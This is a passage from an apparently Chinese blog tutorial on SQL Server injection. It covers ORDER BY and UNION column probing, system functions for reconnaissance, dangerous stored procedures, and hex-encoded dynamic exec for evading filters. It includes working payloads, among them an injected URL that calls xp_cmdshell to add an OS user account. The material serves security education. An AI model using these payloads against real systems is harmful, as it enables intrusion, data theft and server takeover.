如:
① SELECT * FROM users WHERE id = 1――SQL执行正常
②SELECT * FROM users WHERE id = 1 ORDER BY 1 (按照第一列排序)――SQL执行正常
③ SELECT * FROM users WHERE id = 1 ORDER BY 2 (按照第二列排序)――SQL执行正常
④ SELECT * FROM users WHERE id = 1 ORDER BY 3 (按照第三列排序)――SQL 执行正常
⑤ SELECT * FROM users WHERE id = 1 ORDER BY 4 (按照第四列排序)――SQL 抛出异常:
由此可以得出,当前表的列数只有 3 列,因为当按照第 4 列排序时报错了。在 Oracle 和 MySql 数据库中同样适用此方法。
在得知列数后,攻击者通常会配合 UNION 关键字进行下一步的攻击。
4. UNION 查询
UNION 关键字将两个或多个查询结果组合为单个结果集,大部分数据库都支持 UNION 查询。但适用 UNION 合并两个结果有如下基本规则:
所有查询中的列数必须相同
数据类型必须兼容
① 用 UNION 查询猜测列数
不仅可以用 ORDER BY 方法来猜测列数,UNION 方法同样可以。
在之前假设的 user 表中有 5 列,若我们用 UNION 联合查询:
SELECT * FROM users WHERE id = 1 UNION SELECT 1
数据库会发出异常:
可以通过递归查询,直到无错误产生,就可以得知 User 表的查询字段数:
UNION SELECT 1,2、UNION SELECT 1,2,3
也可以将 SELECT 后面的数字改为 null、这样不容易出现不兼容的异常。
② 联合查询敏感信息
在得知列数为 4后,可以使用一下语句继续注入:
UNION SELECT 'x', null, null, null FROM SYSOBJECT WHERE xtype='U' (注:xtype=‘U’ 表示对象类型是表)
若第一列的数据类型不匹配,数据库会报错,那么可以递归查询,直到语句兼容。等到语句正常执行,就可以将 x 换为 SQL 语句,查询敏感信息。
5. 利用SQL Server 提供的系统函数
SQL Server 提供了非常多的系统函数,利用该系统函数可以访问 SQL Server 系统表中的信息,而无需使用 SQL 查询语句。
如:
SELECT suser_name():返回用户的登录标识名
SELECT user_name():基于指定的标识号返回数据库用户名
SELECT db_name():返回数据库名
SELECT is_member(‘db_owner’):是否为数据库角色
SELECT convert(int, ‘5’):数据类型转换
6. 存储过程
存储过程 (Stored Procedure) 是在大型数据库系统中为了完成特定功能的一组 SQL “函数”,如:执行系统命令、查看注册表、读取磁盘目录等。
攻击者最长使用的存储过程是 “xp_cmdshell”,这个存储过程允许用户执行操作系统命令。
例如:http://www.aaa.org/test.aspx?id=1 中存在注入点,那么攻击者就可以实施命令攻击:
http://www.aaa.org/test.aspx?id=1;exec xp_cmdshell 'net user test test /add'
最终执行的 SQL 语句如下:
SELECT * FROM table WHERE id=1; exec xp_cmdshell 'net user test test /add'
分号后面的那一段语句就可以为攻击者在对方服务器上新建一个用户名为 test、密码为 test 的用户。
注:并不是任何数据库用户都可以使用此类存储过程,用户必须持有 CONTROL SERVER 权限。
常见的危险存储过程如下表:
存储过程 | 说明 |
---|---|
sp_addlogin | 创建新的 SQL Server 登录,该登录允许用户使用 SQL Server 身份连接到 SQL Server 实例 |
sp_dropuser | 从当前数据库中删除数据库用户 |
xp_enumgroups | 提供 Microsoft Windows 本地组列表或在指定的 Windows 域中定义全局组列表 |
xp_regread | 读取注册表 |
xp_regwrite | 写入注册表 |
xp_redeletevalue | 删除注册表 |
xp_dirtree | 读取目录 |
sp_password | 更改密码 |
xp_servicecontrol | 停止或激活某服务 |
另外,任何数据库在使用一些特殊的函数或存储过程时,都需要特定的权限。常见的SQL Server 数据库的角色与权限如下:
角色 | 权限 |
---|---|
bulkadmin | 可以运行 BULK INSERT 语句 |
dbcreator | 可以创建、更改、删除和还原任何数据库 |
diskadmin | 可以管理磁盘文件 |
processadmin | 可以种植在数据库引擎中运行的实例 |
securityadmin | 可以管理登录名及其属性;可以利用 GRANT、DENY 和 REVOKE 服务器级别的权限;还可以利用 GRANT、DENY 和 REVOKE 数据库级别的权限;此外也可以重置 SQL Server 登录名的密码 |
serveradmin | 可以更改服务器范围的配置选项和关闭服务器 |
setupadmin | 可以添加和删除链接服务器,并可以执行某些系统存储过程 |
sysadmin | 可以在数据库引擎中执行任何活动 |
7. 动态执行
SQL Server 支持动态执行语句,用户可以提交一个字符串来执行 SQL 语句。
如:exec('SELECT username, password FROM users')
也可以通过定义十六进制的 SQL 语句,使用 exec 函数执行。大部分 Web 应用程序和防火墙都过滤了单引号,利用 exec 执行十六进制 SQL 语句可以突破很多防火墙及防注入程序,如:
1 2 3 |
|
或者:
declare/**/@query/**/varchar(888)/**/select/**/@query=0x73656C6563742031/**/exec(@query)
相关推荐:《mysql教程》
以上就是sql注入的三种方式是什么的详细内容,更多文章请关注木庄网络博客!!
相关阅读 >>
更多相关阅读请进入《SQL注入》频道 >>

数据库系统概念 第6版
本书主要讲述了数据模型、基于对象的数据库和XML、数据存储和查询、事务管理、体系结构等方面的内容。